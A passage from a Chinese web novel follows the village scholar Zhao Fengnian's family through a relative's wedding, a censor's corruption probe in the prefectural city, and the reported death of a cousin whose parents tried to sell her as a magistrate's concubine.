“这可不是我买的,是您孙子孝敬的,刚去府城那会儿,他跟大胖两人去街上逛,看见了这镯子就说要给您买,只是定做又花了些功夫,这回他去了青州,索性让我们带回来转交给您了。” 张氏感动不已,拭了拭眼角,这才留意巧娘的话,“宝儿去了青州?他一个人去的?” “我说呢,怎么没见宝儿,我家大胖也不见人影。” “宝儿在府城认了一个老师,傅老先生学问很厉害,有个在青州书院做夫子的朋友,就带宝儿去那里学做文章,大胖也一起去了,傅老先生家里请了护卫,人不少呢,不妨事!” 张氏这才放心来,王三娘也笑,“男孩子,多外出锻炼锻炼也是好的,娘你就别管他们了,快试试这镯子,这么大又这么亮的镯子村里您还是头一份呢!” 张氏戴上去又忙摘了下来。 “太招摇了!” 卸完给大房的东子,巧娘喝了口水,还是糖水,可见王三娘是真心高兴他们回来的,期间又问起了赵老二家。 “方才见他二伯家屋子都上了锁,这是去走亲戚了?” “哪能呢,去县城了。”王三娘还是那般不待见王小红,“人家说了,不蒸馒头也要争口气,把儿子送到了县城,要陪着考试呢。” “柱子考上童生了,说是要趁热打铁,八月考秀才去,老二媳妇就搬到了县城去了,老二本来跟着村里的采购收豆子,前几个月也去了县城,又找了份府城的活,如今也有三四个月没回村了。” 张氏补充道。 巧娘惊讶,“那青青翠翠呢?也去了县城?” “她们倒还在陈家湾的纺织厂,就是县城村里两头跑,我就没见过这么当娘的,一心扑在儿子身上就把两个女儿丢一边了,也是好在纺织厂如今有车来回县城,不然这活是没法做的。” 几人沉默了一会儿。 “不说这个了,你还不知道有志定的哪一家吧?” 巧娘还当真不知,自大赵有志赌钱被他爹赵来富打了一顿,赵来富就让全家给儿子张罗婚事了,说是先成家后立业,事实上,这也是大多数人家的选择。 “来元媳妇彩云家的堂妹。” “周头的?那他爹难不成?” “不是衙门里的那位,那位是她二叔,总之是一家人。” “那这还当真是一门好亲事。” 王三娘也羡慕,“谁说不是,不过,咱们赵家村有制油厂,人家外村的姑娘才愿意嫁过来呢,要说,这还要感谢咱们宝儿呢,我们都说,将来他俩成亲,合改酒席上敬宝儿一杯酒的。” 巧娘好笑不已。 不多时,赵来富家就有人来请,几人收拾收拾,巧娘也拿上了送给赵大家的东西,出发去吃酒了。 第49章 第49章“果然官场险恶” 赵大家这边,大家伙也正在讨论赵四一家。 “你们赵老四就是小赵秀才的爹吧?他跟我大力哥交情深,也去过我们周头几回,就是没见过他本人,能教出小赵秀才这样的儿子,料想也是个人物哩。” 说话的是女方的一个族叔。 “这样说来,咱们两家倒是合该有缘的,听说有志以前跟小赵秀才在一家私塾读书,都在顾家村那边?怎么去了那么远,你们村离陈家湾不是更近?” 顾大强便笑了,“顾秀才是有志娘的伯父,起初来贺家儿子去顾家私塾读书,还是我们家给介绍过去的。” “原来如此,有志瞧着是个聪明孩子,就是在科举运道上弱了些,难怪你们要给孩子先成家,都说成家立业,可不就是这么个道理,我们家阿香自小勤快又懂事,往后成亲了,跟有志把日子过好,有志再考个秀才,那才叫和美!” 众人又笑着互夸了两家孩子,就听到了外面有动静了。 “来贺——”赵来富立马走出去喊人。 “富哥!” 赵来富很开心,“前些日子还念叨你们,今天可巧就回来了,怎么不见宝儿跟大胖?” “宝儿跟大胖去青州了,我们待在那没事,回村住几个月。” “回来就好回来就好!” 赵来贺跟着一群男的聊,巧娘这边也被拉着问府城的事。 张氏还是没好意思换上新衣服,倒是镯子是戴上了,几个眼尖的留意到张氏手上戴的银镯子,当即就眼热了。 “哎呦,老姐姐你这手上的份量可不轻了。” 张氏笑的嘴都合不拢,“孩子有孝心,又是给我们做衣服,又是买首饰的,你们说说,我在村里,戴这个做什么,干活都累赘!可宝儿都买了,不戴又显得不重视孩子的心意。” 众人又是一顿夸,这才又问怎么不见赵丰年,巧娘也笑着解释了。 “乖乖,青州,还没听说过呢,远不远啊? “说是就在咱们岚州隔壁,宝儿的师父是个顶厉害的读书人,认识青州书院的先生,要一起去学习。” “那就是说你家宝儿又去了一家书院读书了是吧?哎呦喂,那可是厉害了!” 很多人甚至不知道自己所在的州城叫啥,只是光一听说赵丰年去了很远的地方读书,就觉得厉害极了。 问完人又问他们府城生活什么样的。 “比不上咱们村子里,吃啥都要花钱,价又贵,一斤肉要二十文,还不带肥的,后来是我自个儿在院子里种了点菜,不然可舍不得!” 听到一斤瘦肉二十文,众人一片惊呼。 “二十文都够卖一斤肥肉了,镇上瘦肉一斤只要十五呢!” 等巧娘把送赵来富家的东西拿出来,众人又是一片羡慕。 “都不知道有志议亲了,不然肯定给你们挑块大红色的料子,依着规矩,今天要给女方带礼回去,刚好,这里面有盒团糕,本来看着圆润喜庆买给他们爷奶的,如今刚好给周家那边带回去,不值当几个银钱,就是盒子好看,算是拿得出手。” 赵大强老伴儿笑着收了下来,“这还拿不出手就没拿得出手的了,光是这盒子都能卖不上钱了吧,这回我们算是抢了弟妹的东西了。” 张氏也笑,“一盒点心你只管拿去,我哪里还有,老四媳妇买的多,吃不完坏了才叫可惜!” 这边其乐融融,等吃完饭回到家里,巧娘这才彻底轻松下来。 “今天我瞧着菊香都不怎么说话,赵来贵是不是也没来呢?两房到底是生分了。” “毕竟前头闹得不好看,能来已经是不错了,过日子不就是那样,管好自己的小家,其余的,面子上过得去就成了。” 巧娘点点头。 “还是咱们自已的家好,待着舒心。” “这话说的,府城的宅子也是咱儿子买下来的,白纸黑字的契书,衙门里过了章。” 巧娘瞪了他一眼,赵来贺哈哈一笑。 “我知道你的意思,既然这样,咱们索性多住些时候,左右宝儿一时半会回不来,咱们住到有志成亲后再离开,正好把家里的天地也做好安排。” 赵有志跟女方已经走过几回礼了,今天过后,他们再去一次女方,就能定下婚期了,赵来富打算是定在秋收后,选了个好日子,算起来也不过一两个月的功夫。 此前赵丰年说过他们应该会在青州待两三个月,也差不多了。 “刚好咱们也瞧瞧富哥家怎么办这事的,往后宝儿成亲,心里也好有个章程。” 这话说到了巧娘的心坎里,当即便同意了。 秋收后,赵大家就一片喜气洋洋了,屋前屋后挂满了红,光是路过都要被那片红晃了眼。 赵有志瞧着也精神,就是去接新娘子这事上跟他爹赵来富起了点争执。 “都说了,咱们家这牛老了,你驾驴车去,扎上大红花一样的!” 最后是赵来金站了出来,让用他们家的牛。 赵来金家的牛原本是赵来贺家的,之前去府城的时候巧娘嫌牛车不方便,买掉又舍不得,赵来金就说他花原价买下 来。 赵来贺自然不同意,后面是砍了个对折,半买半送给了大哥赵来金,村里当时谁不说赵四家厚道。 一番折腾下来,赵有志这才顺利地去了周头。 赵来贺看了全程,全程都皱了眉头。 要他说,赵来富一家对赵有志还是太纵容了。 赵来喜今天没来,王小红倒是带着儿子柱子,也就是赵有路来了。 赵有路八月院试没过,王小红估摸着是想带儿子回村散散心,只是赵有路全程挂着脸,弄得赵来富一家都有些不满。 巧娘有心问问青青翠翠两个女孩子的情况都被王小红这态度弄得歇了心思。 还是赵小云提了几句。 “青青如今可是我们纺织厂的副厂长,能干着呢,纺织厂的婶子姐妹们都说,还不知道往后谁能配得上这么好的姑娘呢,就她们家不识货,放着明珠不要,把坨狗屎捧在手上。” 巧娘哭笑不得,“女孩子家家的,这种脏话不要学。” “哎呀哎呀,我也就在四婶子你面前说一说,旁人我还不乐意开口呢。” 一旁听到动静的人就笑了。 “你只说别人,怕是你爹娘也要为你发愁了!” “我可不着急,我爹说了,以后给我招赘,我得慢慢挑。” 巧娘摇摇头,笑着轻轻拍了拍她手,“大姑娘家的,说话都没个遮拦了。” 赵小云只笑嘻嘻地揽着巧娘的胳膊不撒手。 赵有志成亲后,赵来贺巧娘就准备回府城了。 回去之前,赵来贺依着赵丰年的话,打算将他们家的地让给村里人种。 赵丰年的意思是,他们往后应该不常回来,地里的活就看顾不了,不如分给村里人种,一来是得个好名声,真有事的时候能帮衬着赵家一点,毕竟赵老头张氏还都在村里住,二来,赵来贺巧娘一辈子看重的就是地,就是往后回了乡,也不至于把地荒着看着难受。 分给村里人种,一年收两季的庄稼,他们每亩地只收一成的产出,折算成银子也有一笔入账了。 赵来贺刚去找了村长提了这事,村里的人就纷纷动心了。 赵家的地不用纳税,种多少收多少都是自己的,只用出一成算什么,单是纳税都不止了一成了! 最后是赵来金家因为要奉养父母得了三十亩,村长跟赵来富赵来贵三家各分了十五亩。 赵来金拉着赵来贺的手,感动得眼眶通红,赵老头跟张氏也好不到哪里去,最后还是村乡赵大生发话。 “来贺是孝顺,也体谅你这个做大哥的,你要真感激,往后就好好替他孝顺你们父母!” 赵来金自然是满口答应,就是王三娘也忙点头。 “另外,来贺,我们私下也讨论过了,只给一成太少了,你们还是拿两成,我们每年折合成现银给你们送到府城,或者折一半,给你们送一半粮食也成,府城的物价贵着呢,什么时候缺粮了就回村来拉!” 赵来贺推辞了几回,几家都没松口,赵来贺也只能接受了。 “他四叔四婶,大胖就交给你们了,家里有啥要干的,你们就交给他,这孩子我生的我懂,旁的不行,干活可利索着!” 赵大生儿子赵来元觉得稀罕,“来金嫂子,难得你说这话呢,这回倒是舍得了?” 王三娘没好气地瞅了他一眼,“这话说的,大胖能跟着宝儿,是他的福气,我是再放心不过了,他的事我如今是不操心了,只用管着家里这个,倒省了我事了。” 众人都笑。 只是赵来富听了王三娘这话,也起了心思。 “叫有志跟着宝儿去府城?” 赵来富媳妇顾金花一听这话就炸了,“亏你说得出口,让有志跟着宝儿,那成什么样了?别跟我提大胖的事,王三娘赵来金舍得把儿子送去当下人,那是他们有两个儿子,我可就有志这么一根独苗,你可真是当人家爹的!” 赵来富气极,“那富贵人家的公子哥都有玩伴,长大后相互扶持,怎么到你嘴里就成下人了?宝儿以后是要做官的,那官老爷身边的人,就是下人也是我们比不上的。” “他赵宝儿算什么富家公子哥?不过跟咱们一样泥腿子出身,你说他以后能当官,那咱们有志就不能了?” “有志的学问还差着火候呢!你看看,都是跟在宝儿身边的,柳家兄弟如今怎么样?管着二三十几号人,跟衙门府城里的贵人打交道,大胖呢,宝儿去青州读书都带着他,那是能长大见识的,就是来庆以前那媳妇,陈莲,如今谁还敢说她是个和离的?” 见说不通媳妇,赵来富又跟父母提了这事,依旧遭到了反对,二老疼孙子,坚决不愿意让孙子去府城。 赵有志得到消息后,顿时气冲冲地找到他爹。 “您可真成,我才成亲,就要把我送去给赵丰年当下人!” “就是去他身边当个下人都比你在家没事做好!”赵来富也是气到了。 这话一出,赵有志更生气了。 “反正我不去!” 见全家都在反对自己,赵来富百般无奈,却也只能灰着脸放弃了。 而赵来贺巧娘这边,去了一趟柳河村,便拉着村里给塞的各种瓜果蔬菜还有今年的新粮,准备回府城了。 他们这里才准备动身,却不知,赵丰年前几日就回到府城。 话说这边,赵丰年在青州书院待了三个月,三个月里,废寝忘食吸收着青山书院的藏书,跟各位夫子请教文章,跟书院的学子论经赏诗作词,才几个月下来,青山书院的几位夫子对这样一个求知若渴的学生十分喜爱,甚至找到了山长江伯远,让他出面好叫人留下来。 江伯远本来是想给人一个下马威的,谁知道赵丰年竟俘获了书院里的所有夫子,学子们对他更是友善非常,当即又是痛心疾首又是恨傅青云“横刀夺爱”。 但是说是如此说,赵丰年离开的时候,江伯远还是将自己的文集送给了赵丰年。 “我知道你老师送你来打得什么主意,这些日子其他人你也吸收完了,这是我这些年的读书心得体会,里面亦有我的手稿,愿对你有所助益,也望你此去扶摇直上,平步青云。” 赵丰年感动不已,拜过江伯远,正要道谢,就听江伯远对傅青云得意一笑。 “古言一字之师,他如今要学的可是我的文章,我如何不是他老师?傅青云,从今往后,你也顶多算个平师哈哈哈——” 赵丰年:“” 就问,天下的读书人知道江大儒是这样的江大儒吗? 回到怀江府的时候,赵丰年先将傅青云送回了傅府,正打算拜过师母傅老夫人回家,却听得知傅老夫人不在府上。 “既如此,你便先归家,一别三月有余,你父母定是牵挂你,我就不留你饭了,明日来这里用晚食见你师母就是了,林业,你送阿年跟有德小子回去。” 赵丰年没推辞,便告别了傅青云,坐傅家的马车回去了。 傅家的车停在赵家门口,赵丰年跟大胖下了马车,又取了行李物件,谢过林管家,见马车走了,这才上前准备敲门。 “阿年,四叔四婶好像出门去了。” 门上还挂着锁,赵丰年也是才看到。 大胖掏出钱袋子,“还好我留了钥匙,这个时辰,四叔四婶说不准去买菜了。” “也许是还没从村里回来。” 赵丰年走进家门,看着两侧桂花下的落花说道。 只是刚绕过影壁,却隐约听到后院有人声传来。 “四叔四婶在家呢!合着是走后门进来的!”大胖很是高兴,放下东西正要往后院走,却被赵丰年拦住了。 “胖哥,等等——” “咋了?”大胖疑惑。 这时候,后院的人似乎也听到了里面的动静,说话声停了停,随即,一道熟悉的声音传来。 “是谁在那边呢?是巧娘回来了吗?” 是傅老夫人的声音。 赵丰年没有立刻过去,只朗声回话,“师母,是丰年,我跟堂兄今日跟老师回来了。” “是阿年!” 没一会儿, 只见傅老夫人走了过来,这回除了一个婢女,身边还跟着一个身穿粉衣的少女。 赵丰年垂下眸子。 傅老夫人见状就笑了,“你这孩子,都是自家人,大家都在呢,不讲究那些,我还以为你爹娘回来了呢,我是来给菜园子浇水的,就没开前门,不想你先回来了,此行一切顺利吗?” “回师母的话,一切顺利,老师如今也回府了。” “你瞧他,又不知留你用饭!” “不怪老师,老师是念我归心似箭,放我早些回家见爹娘的。” “只是如今你爹娘都还没回来呢,这样,你不如再跟我们一道回去,不然家里冷锅冷灶的,你们吃什么!” “不妨事,我们都是村里长大的,这些活都习惯了。” 傅老夫人带着孙女,他们是要避一避的。 索性傅老夫人也没坚持,赵丰年将人送上马车,这才回来。 而大胖这边,已经一手抓着还滴着水的青瓜,一手拿着擀面杖了,“宝儿,咱晌午吃顿面条吧?” “行,我来生火。” 只是赵丰年这顿面条注定吃不上了。 “赵秀才,您可回来了!我们大人请您去呢!” 来人是顾子升身边的仆从,赵丰年认了出来,便问,“出什么事了?你家大人怎么知道我今天回来?” “京城派了钦差大人来,我家大人被关起来了!大人说您差不多就这几日回来,便让我们日日盯着这边呢。” “钦差大臣?你先带路!胖哥,先别弄了,我们先过去瞧瞧情况。” “诶诶,来了!” 赵丰年跟大胖来到牢房的时候,顾子升正百无聊赖地用干草搓绳子,正是他娘上回教顾子升的那种。 赵丰年当即就不担心了,还有心情搓绳子,看来不是什么大事。 “你总算回来了!” 看见赵丰年,顾子升一个飞扑,抓着木栏杆哭诉,“我都被关里头三天了,姓徐的真不是人!天天给我喝豆粥!” “到底怎么回事?怎么会忽然出现一个钦差大臣?” 顾子升这才说明情况,原来,赵丰年才离开一个月,钦差大臣就到了怀江府,先是在怀江府转了几圈,又到了底下县城去暗访,这个月才被府城衙门发现,刘知府自是设宴款待,结果前一天吃饭的时候还一派祥和,第二天就开始抓人了。 “然后我就入狱了,我记得你差不多要回来了,就让他们去你家那边守着。” 赵丰年沉思。 “你想到了什么吗?” 赵丰年点点头,“你贪赃枉法了?” 顾子升一噎,当即没好气,“都这个时候了,你还开玩笑!” 赵丰年笑了笑,“所以,钦差大人是个什么情况?你应该知道?” 顾子升叹了口气,略萎靡不振,“他叫徐钰,都察院的,左佥都御史,是个疯子,他连太子都敢弹劾,连自己女儿都能见死不救,老古板一个!但是,陛下不知怎的,对他特别信任。” “所以,你到底做了什么犯到了他手里?” 顾子升努力回想了一番,“我真的什么都没做,就是去了个接风宴,总之,你得帮我伸冤啊,需要人手你就去我家调,你跟姓徐的说清楚,我真的是冤枉的啊——” 赵丰年无语,“别嚎了,我去打听打听,你都被关三天了,却迟迟没有被传唤,说明是被牵连的,等徐大人查明想查的,你应该就能出来了。” “可是万一我不知情的时候别人做了什么,然后赖到了我头上” “那我们只能来世再做朋友了。” “” 钦差大人这几日的事在府城官衙闹得人心惶惶,赵丰年稍一打听便知道了结果。 几日后,从刘知府那里出来,赵丰年便又去了一趟大牢。 “你手底下是不是有个黄推官?” “你说黄胜?好像是有这么个人,怎么了?你忽然问起他,难不成是他做了什么贪赃枉法的事推到了我头上?我冤枉啊!那黄胜一看就心术不正,他送的礼我都不收的!” “黄胜家有四女一子,三个女儿都嫁给了他的上官,据说,他曾想要把小女儿嫁给你,而你已经收了信物。” 顾子升愣了愣,随即只觉得更加冤枉了。 “他血口喷人!我什么时候收他家的信物了?再说,我都不知道他们家有那么多女儿!” 赵丰年同情地看着顾子升,“不知道你还记不记得,几个月前去傅府观礼吃席的时候,怀里多了条女子丝帕的事?” “你是说,上回那帕子是他的手笔?可他图什么呢?难道哪个时候他就知道徐钰要来怀江府,为的就是拉我下马?好卑鄙的小人,我只不过见他殷勤拍马送礼训斥了他几句,他竟这样报复我!果然官场险恶!” 赵丰年无语。 “我猜,黄胜应该没那么大的能耐知道徐大人会来怀江府,也不至于杀敌一百自损一千就为了陷害你。” “那他?” “自然是为了你这位年纪轻轻就前途无量的顾大人了,他应该是想把女儿嫁给你,倘若你识趣,就答应下来,若不识趣,他也有你跟他女儿私相授受的把柄,压着你不得不识趣。” 顾子升目瞪口呆,“他就不怕毁了他女儿名声吗?” “有的父母只是把孩子当作工具,一个工具的名声,自然没有他的前途来得重要。” 两人一时都无话。 “前面那件事傅老夫人出面解决了,也提醒了黄家,黄胜后面才没有再对你动心思,只是这回他心思动错了人,踢到了徐大人这块铁板,他被逼供的时候,提到了你的名字,所以你就被关了起来,你放心,我打听清楚了,徐大人已经顺着线查到了傅府,你应该马上就能被放出来了。” 没过几天,顾子升果然就被放了出来,而那位徐大人,却点了名要见赵丰年。 第50章 第50章青青没了 正如顾子升话中那般,徐御史是个一身正气的中年男人。 “你便是赵丰年?” “回大人,学生正是赵丰年。” 本朝秀才可见官不跪,行礼的时候,赵丰年感受到一道审视的目光正落在自己头顶,却并不让人觉得冒犯。 “顾子丰为人单纯蠢笨,实在不是个当官的料,你若是个聪明人,就知道该离他远些,重新结交一些良师益友。” 这下赵丰年觉得有些冒犯了。 从徐御史那边出来,赵丰年去大牢接人。 “我才知道外面的味道如此好闻,这就是阿年你说过的自由的味道吧~” “大人,是赵秀才让小人给您买的烧鸡味道……” 顾子升:“……” 见他一脸怨念地看着自己,赵丰年理所当然,“不是你说喝了三天的豆粥?我可是一片好心。” “算了,我就跟风花雪月扯不上关系。” 赵丰年笑了,“走吧,上你家,替你接风洗尘,你这一遭,也算是什么都体验过了。” 替顾子升接风洗尘后,赵丰年跟大胖回到家,却见傅府的林管家等在了门口。 “老爷等着消息呢?顾大人如今可好了?” “已经从牢里出来了,烦林管家跟师父说一声让他老人家放心,改日我再去谢过师父。” 顾子升这事刚了,赵来贺巧娘也到了府城。 “瞧着像是长高了!”巧娘兴冲冲地要去拿布条给儿子量身高。 赵来贺夸完大胖会照顾人,便把家里田地情况都告诉了赵丰年。 “……总之,这事算是不用再操心了。” 晚上饭桌上,巧娘也提了这回回村发生的事。 “有志成亲了,我们是吃了他的喜酒这才晚了几天。” “啥,有志哥都成亲了?”大胖惊讶。 “也该是成亲了,别说他,就是你也该是时候相看起来了。” 大胖顿时涨红了一张脸。 巧娘见状就乐了,又跟赵丰年提了柳家,“你舅母还想替大尺小尺张罗呢,小尺拒了,大尺有样学样,只说还要跑货,你舅母拗不过他们,叫我在府城里时时去劝劝他们。” “大尺小尺是不好拖着了,他们比有志要大上有两岁了?换做是谁家都要急的。”赵来贺也补了一句。 “可不是,到底也是因为咱们家耽误了,宝儿,你回头见了两个哥哥,也问问他们的意思,你说的话他们倒是都听的。” 赵丰年点点头,“知道了娘。” 这时候成亲都早,要是过了二十还不成亲,人家指不定以为有什么毛病,只是赵丰年想着,还是要尊重大尺小尺自己的意愿。 “他们想立业,也不耽误先成家,哪有这么大都不成亲的!” “说起来,好像顾大人也没有成亲吧?”大胖忽然想到。 巧娘赵来贺顿时沉默了。 赵丰年眸子里闪过一丝笑意。 确实,多好的一个例子。 也难怪会被底下的人盯上。 “下回,叫小顾来家里吃饭,我可要好好问问他!” 赵丰年心里为“小顾”默哀。 只是顾子升眼下是再不得闲来赵家吃饭了。 “徐钰整天黑着个脸在衙门里查东西,刘知府前两天为了躲他告了病假,他直接说人家体虚不能胜任知府一职,吓得刘知府当天就从家里跑来官署了,生怕告个病假连官帽都丢了。” 清晨去府学的时候,赵丰年撞到顾子丰正买烧饼,只匆忙说完这句话,捞起烧饼就上了马跑了,可见衙门里是真的忙。 赵丰年跟顾子升至今都不知朝廷为何派钦差大臣来怀江府,只是他白日里刚提过的人,转眼竟出现在了他家。 “爹?娘?” 看到那位徐大人跟自家爹娘似乎相谈甚欢,赵丰年先是有些疑惑。 “阿年啊,这位徐大人是小顾府衙里的同僚,小顾近来忙,来替他给咱们家送东西的,你看这小顾,太客气了,我们从村里回来,该请他上家里吃饭的,哪有他送咱们东西的道理!” “赵秀才。” “徐大人。” “你们见过啊,也是,阿年你常去找小顾,肯定遇见过了,徐大人,辛苦您跑一趟了,今天在家里吃饭,我们从乡下带来山货,您也尝尝,不是什么好东西,吃的就是个鲜!” 巧娘说完就去张罗了。 赵丰年转头看向赵来贺,“爹,晚上我想吃东街那家的羊肉汤。” “怎么想吃这口了?你娘还打算晚上做青瓜汤呢,那我跟她说一声叫别做了,我这就给你买去。” 赵来贺跟说了句客气话才离开,大胖则坐在了赵丰年身边,岿然不动。 徐钰见状,抬眸看了眼赵丰年。 “徐大人,不知您今日到访,是还有何事要问学生的吗?” “赵秀才,我今日不过替人送东西来的,你实不必特意支开人,既然东西已经送到了,本官也该走了。最后,有一句话要送给赵秀才,赵秀才,你既是个干实事的,那往后也切记勿忘初心,也莫要失了本心。” 徐钰走后,大胖也很懵,“他还真是来送礼的?不过后面那话什么意思?” 赵丰年摇摇头。 巧娘得知小顾“同僚”走后还很失望。 “你别说,小顾这位同僚,可比小顾会聊天,什么话从他嘴巴里说出来,都变得好听了,他爹,这是不是就是人家说的圆滑了?” 赵来贺喝了一口羊汤,“我倒是觉得,那位大人对宝儿挺看重的,一下午聊的事就离不开宝儿,应该也是跟先前傅老先生一样,欣赏宝儿呢。” 赵丰年心念一动。 “爹,娘,徐大人带的什么礼?” “你不说我都忘记打开看看了,说是一些府城的特产,一箱子呢。” 巧娘放下碗筷,走到那口箱子旁边。 “这箱子瞧上去都用料扎实呢,还是好料子。” 只是等她打开,瞬间就失了声了。 赵丰年看了眼,果然。 他的一万两嘉奖到了。 “徐钰那手段,可真是雷厉风行,黄胜是彻底做不成官了,还有他之前嫁女儿的那几位,能收这种孝敬的,能是什么好官,都被徐钰拔了出来,这两天就要押解进京了,这一回怀江府可是大清洗了一番,连刘知府也真病倒了。” 钦差大人准备走了,顾子升又有空来赵家蹭饭了。 “人都要走了,刘知府还怕什么?” “你不知道,那黄家‘女婿’中,有一个是他一手提拔起来的,刘知府还以为下一个进大牢的就是他了。” 赵丰年不禁好笑,只能说,刘知府确实胆小。 “还有,临县的何余,我估摸着他也犯了不少事,徐钰这几日搜集了不少他的东西,八成他也做不长久了。” 一场秋雨过后,府学里的学子们便提议去怀慈寺赏枫作诗,赵丰年也去了,回来的时候给巧娘带了一根枫叶式样的银簪,巧娘高兴得跟什么似的。 赵来贺便提议下回一家人再去一次。 这天晚上,赵家的门就被敲响了。 “小尺?你不是回临县了?怎么这大晚上来了?”赵来贺开门看到人,当即就吓一跳。 “姑父,出了点事,我找宝儿!” 见他急,赵来贺也不敢耽误,连忙让他先进来。 “不了,姑父,我身上有水,先不进去了。” 赵丰年闻声赶来,只见柳小尺还披着蓑衣,一脸焦急。 “出了什么事了?” 柳小尺把斗笠举到他头顶,这才将他拉到马车边,示意他朝里面看。 赵丰年掀开帘子一看—— “翠翠?” 缩在车厢角落的赵翠翠听到声音抬头一看,顿时眼泪就下来了。 “宝、宝儿——” 只见赵翠翠一身狼狈,头发凌乱,雨水顺着头发流下来,在脸上冲出了一道道痕迹,粗布裙上溅满了泥水,一直蜿蜒到了车厢里。 她全身上下颤抖着,可手中却紧紧攥住一条青色的发带。 “宝儿,快,救姐姐。” 赵丰年眸中酝酿着风暴。 “小尺哥,麻烦你喊我娘过来。” 柳小尺看了眼赵丰年,被他神情吓了一跳,当即去喊人了。 “别怕,到家了。” 赵丰年刚将人背下了马车,巧娘就赶到了,见到赵翠翠这模样也被唬了一跳。 “这是咋了!翠翠不怕,婶娘在呢!” 巧娘带赵翠翠去洗漱收拾的时候,其他人围在厅里,柳小尺这才说了前因后果。 “我们刚离开村里没多久,天就下雨了,雨下得大不好赶路,便在县城休整了一晚,第二天还是小雨,但是又想着耽误不得,大家伙都决定继续赶路,等快到了府城,大哥在车队后头的一辆车上发现了她,这一路上山洪冲垮了好几段路,也不知道她什么时候混进来又躲起来的,她求我们不要告诉旁人,只抓着一条发带给我们看,嘴里一直念着‘宝儿宝儿’、‘婶娘婶娘’的,我才猜到约莫是你家哪个妹子。 没敢让队里其他人知道,本想卸了货就立马送 她来见你,谁知道她一刻都等不及,直接冒着雨就跑,我好不容易追上,劝她先换身干衣裳她也不要,没有办法,只能直接过来了。” “那是青姐的发带,我幼时给家里几个姊妹买的,一人一条。”赵丰年闭了闭眼,又问,“小尺哥,这些日子你在村里可曾听到了什么消息?” 小尺苦笑着摇摇头,“这几个月来我娘一见我跟大哥就要替我们相看,我怕她又要老生常谈,这次索性连家都没有回,直接就去了赵家村装油了,倒是没留意出了什么事。” “到底出了什么事了?青青不是好好的在纺织厂做事吗?四婶前些日子还说青青都成副厂长了呢!”大胖也不解。 “这就要问咱们的好二伯好二婶了。” 正在这时,巧娘一脸焦急跑过来,“翠翠发热了!” 赵丰年心里一紧,站了起来。 “娘,你去把家里最烈的酒找出来,用帕子沾湿了给翠翠擦脸和脖子,胖哥,你去傅府,说明情况,请老师师娘让他们府医来一趟。” 巧娘跟大胖忙去办了,赵丰年又看向了赵来贺。 “爹,青姐怕是出事了,我得回一趟临县,小尺哥,你陪我走一趟。” 赵来贺也担忧,知道儿子有主意,而自己也阻止不了,“你去吧,我知道你肯定待不住,只是你们两个不成,我得一起!不然我不放心!” 赵丰年脸上回温,但是却拒绝了,“爹,你放心,我不会有事的。” 小尺这回却站在了赵来贺一边,“我肯定是用尽全力都要护着你的,但是,如今临县什么情况都不知道,外头又下着大雨,路上不好走,我就怕我一个人护不住你。” “那就让大尺哥一起。” 柳大尺本来生得就比旁人高壮,又力大无穷,自从跟着县衙门里的张衙役学刀法后,这一年来练了一身腱子肉,旁人看他一眼都发怵。 这下赵来贺跟柳小尺都没意见了。 “爹,这里就交给你了。” 临走的时候,赵来贺看着那个坚决的身影,心中竟有些酸涩。 柳小尺驾着车绕去了油铺,接上了柳大尺,三人连夜就出发了。 而临县这边,赵来喜正在大发脾气。 “叫你对她好一点,左右不过这几日的事了,现在好了,人都吊死了!” “你现在知道说我了,早干什么去了,我都说不急,等她当上纺织厂的厂长了,那往家拿银子还不是随手的事,你非要把人送县太爷那去,就算府衙缺人,人家也不一定给你留个位置。” “得了吧,你就没有起过当县太爷丈母娘的心思?再说,她一个女的抛头露面成什么样,能给县太爷当妾是她几辈子修来的福气,还能替她弟弟的前程出把力气,她倒刚烈,直接上山吊死了,你看你养的什么女儿!” 两人越吵越凶,赵柱子从另外一间屋子里走了出来。 “别吵了!吵得我都没法读书了。” 王小红赵来喜这才停了下来。 赵柱子皱着眉,“爹,你确定那些血当真是我大姐的?之前贵二伯家的赵小云不也是现场一堆血,后面发现不是她的。” 王小红双眼一亮,赵来喜却摇了摇头。 “就是有了你贵二伯家的那事,当时就有人说会不会不是,找了好几个老猎手,都说是人血,你大姐跟赵小云不一样,她是吊死的,被发现的时候都只剩下血肉了,骨头都没几根。” 赵柱子阴沉着一张脸,“娘,都怪你,好端端的告诉她做什么。” 王小红最怕儿子不高兴,当即就哄他了。 “行了行了,既然大姐已经死了,那你们好好找找,先找到二姐,她虽然是个结巴,但是好歹长得不错,再说,我这可是为了爹着想,爹你想想,你可是答应了何大人的,到时候找不到人,何大人肯定要拿你是问。” 本来还在想儿子是不是太不近人情的赵来喜一听这话,立马就吓住了,当即什么都抛到了脑后,只想着找到赵翠翠。 赵丰年跟柳家兄弟赶到临县,就得知了一个坏消息。 “你说那家啊,前些日子听说他们家大女儿吊死了,哎呦,真是可惜了,那姑娘长得水灵,还在那什么,纺织厂做事,一个月赚好多银子呢啊?您问为啥?说是要送去给人家做妾,人姑娘刚烈着呢,找到的时候尸体都被豺狼啃了,可惜,实在可惜,大女儿死了,小女儿也不见了,这几日忙着找另外一个女儿呢” 赵丰年不相信赵青青死了。 “宝儿,我们现在回赵家村吗?” “不,去陈家湾,我们什么都不知道,只是回来视察纺织厂的。” 柳小尺了然。 这会儿赵老二家正在找赵翠翠,他们按理说远在府城是不知道这事的,否则被盯上,赵翠翠也危险了。 赵丰年刚到陈家湾就直奔纺织厂。 陈莲见到他起先还有些惊讶。 见陈莲红肿着一双眼,赵丰年心中有些不安。 “宝儿,青青出事了。” “来的路上我也听说了一些,婶娘,到底怎么回事?” 陈莲就把这段时间发生的事告诉了赵丰年。 原来,自从赵柱子院试落榜后,便将原因归结于他没有官府方面的关系,撺掇他爹赵来喜托关系给衙门里的人送礼。 刚巧衙门里有几个衙役去了运输队不干了,正缺人手,赵来喜也起了心思,想要顶个衙役的缺,挣一个两全其美。 这时候就有人给他出了一个主意,说是提了句县太爷何大人来了这边没带夫人,正缺一房妾室。 赵来喜当即就动了心思,先是将女儿骗回家,好吃好喝,说是给儿子定了一门亲,让她安心在家里帮忙准备聘礼,纺织厂那边先放放。 起先赵青青相信了,还高兴地跟陈莲说这事,陈莲没多想,便准了她的假。 “谁成想,再听到消息,都说她吊死了,就在赵家村跟陈家湾搭界那片山里,找到的时候,只剩下一根绳子,被撕得不成样的衣服,还有大片的血迹碎肉,大家伙都说,这是青青想死得近一点,怕找不到回家的路呢。” “有人亲眼看见了?谁能肯定就是青姐?” 陈莲擦了擦泪水,“我知道你想说什么,可是小云那事毕竟是凑巧,起初我们也不敢相信,是赵来喜找了好几个猎户,都确认过了,就是人的血,肉也是人的肉。” 